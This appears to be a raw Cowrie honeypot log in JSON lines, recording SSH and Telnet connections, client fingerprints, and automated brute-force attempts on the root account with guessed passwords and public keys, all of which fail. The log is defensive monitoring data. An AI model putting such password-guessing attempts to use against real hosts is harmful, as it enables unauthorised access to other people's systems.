{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36016,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b950b9aac66","protocol":"telnet","message":"New connection: 192.119.13.58:36016 (10.17.0.5:23) [session: 5b950b9aac66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:18.591310Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37526,"dst_ip":"10.17.0.5","dst_port":23,"session":"72c472c50d10","protocol":"telnet","message":"New connection: 192.119.13.58:37526 (10.17.0.5:23) [session: 72c472c50d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:19.036007Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43770,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d685c6c699","protocol":"telnet","message":"New connection: 192.119.13.58:43770 (10.17.0.5:23) [session: 30d685c6c699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:20.530985Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":48798,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2f4c28b93e5","protocol":"ssh","message":"New connection: 103.210.22.17:48798 (159.203.135.109:22) [session: a2f4c28b93e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:24.067168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:24.073684Z","src_ip":"103.210.22.17","session":"a2f4c28b93e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:24.298734Z","src_ip":"103.210.22.17","session":"a2f4c28b93e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testx","message":"login attempt [root/testx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:25.223815Z","src_ip":"103.210.22.17","session":"a2f4c28b93e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:26.450719Z","src_ip":"103.210.22.17","session":"a2f4c28b93e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.71213245391846,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:27.717495Z","src_ip":"192.119.13.58","session":"e1f5edfbafcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":37052,"dst_ip":"159.203.135.109","dst_port":22,"session":"157d66da8fbc","protocol":"ssh","message":"New connection: 103.195.236.96:37052 (159.203.135.109:22) [session: 157d66da8fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:30.712276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:30.717384Z","src_ip":"103.195.236.96","session":"157d66da8fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:30.956651Z","src_ip":"103.195.236.96","session":"157d66da8fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59784,"dst_ip":"10.17.0.5","dst_port":23,"session":"baa7828ab2e8","protocol":"telnet","message":"New connection: 192.119.13.58:59784 (10.17.0.5:23) [session: baa7828ab2e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:31.469293Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"111000","message":"login attempt [root/111000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:31.672831Z","src_ip":"103.195.236.96","session":"157d66da8fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.57658815383911,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:32.281190Z","src_ip":"192.119.13.58","session":"a1cce3f1f68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34402,"dst_ip":"10.17.0.5","dst_port":23,"session":"1483e41411bc","protocol":"telnet","message":"New connection: 192.119.13.58:34402 (10.17.0.5:23) [session: 1483e41411bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:32.371122Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:32.913068Z","src_ip":"103.195.236.96","session":"157d66da8fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":36966,"dst_ip":"159.203.135.109","dst_port":22,"session":"738dbf2c6698","protocol":"ssh","message":"New connection: 80.66.85.226:36966 (159.203.135.109:22) [session: 738dbf2c6698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:38.741759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:38.746713Z","src_ip":"80.66.85.226","session":"738dbf2c6698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:38.842445Z","src_ip":"80.66.85.226","session":"738dbf2c6698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58162,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf225a6d182","protocol":"telnet","message":"New connection: 192.119.13.58:58162 (10.17.0.5:23) [session: ccf225a6d182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:39.014710Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"california","message":"login attempt [root/california] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:39.127205Z","src_ip":"80.66.85.226","session":"738dbf2c6698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.45961785316467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:39.808301Z","src_ip":"192.119.13.58","session":"384e33030dc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:40.223583Z","src_ip":"80.66.85.226","session":"738dbf2c6698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41262,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcfcc2c2d3af","protocol":"telnet","message":"New connection: 192.119.13.58:41262 (10.17.0.5:23) [session: bcfcc2c2d3af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:41.945538Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":46448,"dst_ip":"159.203.135.109","dst_port":22,"session":"998694819836","protocol":"ssh","message":"New connection: 103.149.170.125:46448 (159.203.135.109:22) [session: 998694819836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:43.176332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:43.186129Z","src_ip":"103.149.170.125","session":"998694819836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:43.446391Z","src_ip":"103.149.170.125","session":"998694819836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111a","message":"login attempt [root/11111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:44.226711Z","src_ip":"103.149.170.125","session":"998694819836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:45.489781Z","src_ip":"103.149.170.125","session":"998694819836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.5310332775116,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:51.566901Z","src_ip":"192.119.13.58","session":"72c472c50d10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42658,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ff9bdbb0e3","protocol":"telnet","message":"New connection: 192.119.13.58:42658 (10.17.0.5:23) [session: 74ff9bdbb0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:56.244378Z"}
{"eventid":"cowrie.session.closed","duration":38.31265377998352,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:58.843507Z","src_ip":"192.119.13.58","session":"30d685c6c699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.320133686065674,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:01.911309Z","src_ip":"192.119.13.58","session":"5b950b9aac66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42566,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f02743bd96","protocol":"telnet","message":"New connection: 192.119.13.58:42566 (10.17.0.5:23) [session: e5f02743bd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:04.174864Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54222,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a33b5b855fa","protocol":"telnet","message":"New connection: 192.119.13.58:54222 (10.17.0.5:23) [session: 5a33b5b855fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:07.702629Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37576,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a0f1866ba4b","protocol":"telnet","message":"New connection: 192.119.13.58:37576 (10.17.0.5:23) [session: 8a0f1866ba4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:09.998968Z"}
{"eventid":"cowrie.session.closed","duration":32.310678243637085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:11.325273Z","src_ip":"192.119.13.58","session":"ccf225a6d182","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.54546332359314,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:13.916457Z","src_ip":"192.119.13.58","session":"1483e41411bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.37.117.103","src_port":39928,"dst_ip":"10.17.0.5","dst_port":22,"session":"74a0ce19ed19","protocol":"ssh","message":"New connection: 89.37.117.103:39928 (10.17.0.5:22) [session: 74a0ce19ed19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:18.806217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:18.811394Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:18.940261Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:9e:b5:61:ce:0d:a9:b0:ea:ad:e4:9c:1e:3e:e9:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1NPlj6CzcyBFRxE1Bt8TBNg/JT3VVoK8EAhw2JPbKfECeTntPwlOpEPTBeIPYsPdTgN3jsmCbn5GqfMM4KUjU+kTNV/BpLcdKd2Ek6BqvaAk5sVQ1cG80i43TplI1BZjjUswNdm+WUZIE8TnUU0KKuhIB+eISX53/od9kXYorgoioGgJk+FO046W7hmwol4rRXzPJHk6XGZQ+b4YOYys/c4//WzSxNxZRmlyd+LfT7YRYjWSiUzDFGo027XWBE4q5MCgt4L8JzXLA2gPR/4zy/lbX7TuHm4CCxyWe1pIND+wvOpTsP58NSbUlt90fBiVMAvZ2Jp5GJnQK6Tuljol","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:9e:b5:61:ce:0d:a9:b0:ea:ad:e4:9c:1e:3e:e9:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.555362Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:9e:b5:61:ce:0d:a9:b0:ea:ad:e4:9c:1e:3e:e9:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1NPlj6CzcyBFRxE1Bt8TBNg/JT3VVoK8EAhw2JPbKfECeTntPwlOpEPTBeIPYsPdTgN3jsmCbn5GqfMM4KUjU+kTNV/BpLcdKd2Ek6BqvaAk5sVQ1cG80i43TplI1BZjjUswNdm+WUZIE8TnUU0KKuhIB+eISX53/od9kXYorgoioGgJk+FO046W7hmwol4rRXzPJHk6XGZQ+b4YOYys/c4//WzSxNxZRmlyd+LfT7YRYjWSiUzDFGo027XWBE4q5MCgt4L8JzXLA2gPR/4zy/lbX7TuHm4CCxyWe1pIND+wvOpTsP58NSbUlt90fBiVMAvZ2Jp5GJnQK6Tuljol","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.559814Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:51:0c:c1:32:e0:68:14:df:82:99:9f:e5:86:cc:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuZ9m/FJTgiSZwhVtsgvcq73hB8py4xNMpkTPRY7MPl+O1sYFjOnm5g+5nm4QIfV3bOyZPfaQSNFRvv/SPzLmUKnsIxQ3fbJR1KLKO3lStsaf2p+AWr70C/G/Q6Oq6HrJ8STW82s/56z5e7slmJICVqWSOG0uWex1VNJ+9LI56nFi19pKXBcXmJm77T4+cTgOJ9oKTmMS8btOH4xiKF+6UFfZyxLkbzpWqqtfA0uqOXCB/rIyARZyySPhXFSX0iwcPjA4AzkWqw5ktxR7chTgtd6Ja930iLXCKc6RG5Dlu3m56pLilKoj2/GQQVG6dLSk2uJd+wsMvk1rLzdQzOjKh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:51:0c:c1:32:e0:68:14:df:82:99:9f:e5:86:cc:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.688706Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:51:0c:c1:32:e0:68:14:df:82:99:9f:e5:86:cc:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuZ9m/FJTgiSZwhVtsgvcq73hB8py4xNMpkTPRY7MPl+O1sYFjOnm5g+5nm4QIfV3bOyZPfaQSNFRvv/SPzLmUKnsIxQ3fbJR1KLKO3lStsaf2p+AWr70C/G/Q6Oq6HrJ8STW82s/56z5e7slmJICVqWSOG0uWex1VNJ+9LI56nFi19pKXBcXmJm77T4+cTgOJ9oKTmMS8btOH4xiKF+6UFfZyxLkbzpWqqtfA0uqOXCB/rIyARZyySPhXFSX0iwcPjA4AzkWqw5ktxR7chTgtd6Ja930iLXCKc6RG5Dlu3m56pLilKoj2/GQQVG6dLSk2uJd+wsMvk1rLzdQzOjKh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:03:19.692676Z","src_ip":"89.37.117.103","session":"74a0ce19ed19","protocol":"ssh"}
